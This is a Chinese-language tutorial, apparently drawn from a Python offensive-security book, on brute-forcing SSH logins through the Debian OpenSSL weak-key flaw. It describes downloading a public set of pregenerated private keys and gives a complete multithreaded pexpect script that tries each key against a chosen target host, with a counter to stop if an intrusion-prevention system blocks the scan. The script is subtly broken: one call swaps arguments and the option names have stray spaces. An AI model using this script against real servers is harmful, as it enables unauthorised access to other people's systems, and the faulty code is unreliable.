目錄
一、簡介
1.1、概述:
1.2、利用:
二、實現
2.1、分析:
2.2、函數:
2.3、步驟:
1.1、概述:
對於SSH服務器, 密碼驗證並不是唯一的手段。
SSH還能使用公鑰加密的方式進行驗證。在使用這一驗證方法時, 服務器和用戶分別掌握公鑰和私鑰。使用RSA或是DSA算法, 服務器能生成用於SSH登錄的密鑰。由於能夠生成1024位、2048位, 甚至是4096位密鑰, 這個認證過程就很難像利用弱口令進行暴力破解那樣被破解掉
1.2、利用:
軟件自動分析工具發現了一行已被開發人員注釋掉的代碼。這行被注釋掉的代碼用來確保創建SSH密鑰的信息量足夠大。被注釋掉之後, 密鑰空間的大小的墒值降低到只有15位大小。僅僅15位的墒意味著不論是哪種算法和密鑰長度, 可能的密鑰一共只有32767個
Rapid的CSO和首席架構師HD Moore在兩小時內生成了所有的1024位和2048位算法的可能的密鑰。並把結果放到http://digitaloffense.net/tools/debian-openssl/中, 使大家都可以下載利用
可以從下載1024位所有可能的密鑰開始, 並解壓出這些密鑰後, 把其中的公 鑰全部刪掉, 因為我們測試連接時只用其中的私鑰
Debian OpenSSL Predictable PRNG Toys (hdm.io)https://hdm.io/tools/debian-openssl/下面是我使用谷歌翻譯後顯示出來的結果
2.1、分析:
相當多的服務器上都有漏洞的SSH 服務。能創建一個利用此漏洞的工具,通過訪問密鑰空間, 可以寫一個簡短的Python 腳本逐一暴力嘗試32767 個可能的鑰匙, 以此來登錄一個不用密碼, 而是使用公鑰加密算法進行認證的SSH 服務器。還是要使用暴力破解登錄口令時使用的pexpect 庫
2.2、函數:
spawn: 後面加上需要執行的
expect:工作方式像一個通用化的Chat腳本工具。Chat腳本最早用於UUCP網絡內,以用來實現計算機之間需要建立連接時進行特定的登錄會話的自動化。
os.listdir:用於返回指定的文件夾包含的文件或文件夾的名字的列表。 它不包括 . 和 .. 即使它在文件夾中。 只支持在 Unix, Windows 下使用
os.path.join:把目錄和文件名合成一個路徑(os.path 模塊主要用於獲取文件的屬性,有很多方法分類,此乃其一)
2.3、步驟:
測試弱密鑰的腳本與我們暴力破解密碼的腳本很相似。
在使用密鑰登錄SSH 時, 我們需要鍵入ssh [email protected] -i keyfile -o PasswordAuthentication =no 格式的一條命令。逐個使用目錄中事先生成的密鑰, 嘗試進行連接。如果連接成功, 我們會把密鑰文件的名稱打印在屏幕上。還會使用兩個全局變量: Stop和Fails
Fails 的作用是計算由於遠程主機關閉連接導致的連接失敗的次數。如果這個數字大於5, 終止我們的腳本,掃描觸發了遠程IPS, 阻止了我們的連接, 那麼我們也沒有必要再繼續下去。Stop 全局變量是一個布爾值, 它能使我們知道是否已經找到一個密鑰, 找到的話main()函數就不用再去啟動任何新的連接線程
import pexpect import optparse import os from threading import * maxConnections = 5 connection_lock = BoundedSemaphore(value=maxConnections) Stop = False Fails = 0 def connect(host, user, keyfile, release): global Stop global Fails try: perm_denied = 'Permission denied' ssh_newkey = 'Are you sure you want to continue' conn_closed = 'Connection closed by remote host' opt = ' -o PasswordAuthentication=no' connStr = 'ssh ' + user + '@' + host + ' -i ' + keyfile + opt child = pexpect.spawn(connStr) ret = child.expect([pexpect.TIMEOUT, perm_denied, ssh_newkey, conn_closed, '$', '#' ]) if ret == 2: print('[-] Adding Host to ! /.ssh/known_hosts') child.sendline('yes') connect( user, host, keyfile, False ) elif ret == 3: print( '[-] Connection Closed By Remote Host' ) Fails += 1 elif ret > 3: print( '[+] Success. ' + str(keyfile)) Stop = True finally: if release: connection_lock.release() def main(): parser = optparse.OptionParser( 'usage %prog ' + '-H <target host> -u <user> -d <directory>' ) parser.add_option( '-H', dest=' tgtHost', type='string', help=' specify target host') parser.add_option( '-d', dest =' passDir', type='string', help='specify directory with keys' ) parser.add_option( '-u', dest='user', type = 'string', help = 'specify the user') (options, args) = parser.parse_args() host = options.tgtHost passDir = options.passDir user = options.user if host == None or passDir == None or user == None: print(parser.usage) exit(0) for filename in os.listdir( passDir ): if Stop: print('[*) Exiting: Key Found.') exit(0) if Fails > 5: print( '[!] Exiting: '+' Too Many Connections Closed By Remote Host.') print( '[!] Adjust number of simultaneous threads' ) exit( 0 ) connection_lock.acquire() fullpath = os.path.join( passDir, filename ) print('[-] Testing keyfile ' + str(fullpath)) t = Thread( target=connect, args=(user, host, fullpath, True) ) child = t.start() if __name__ == '__main__': main()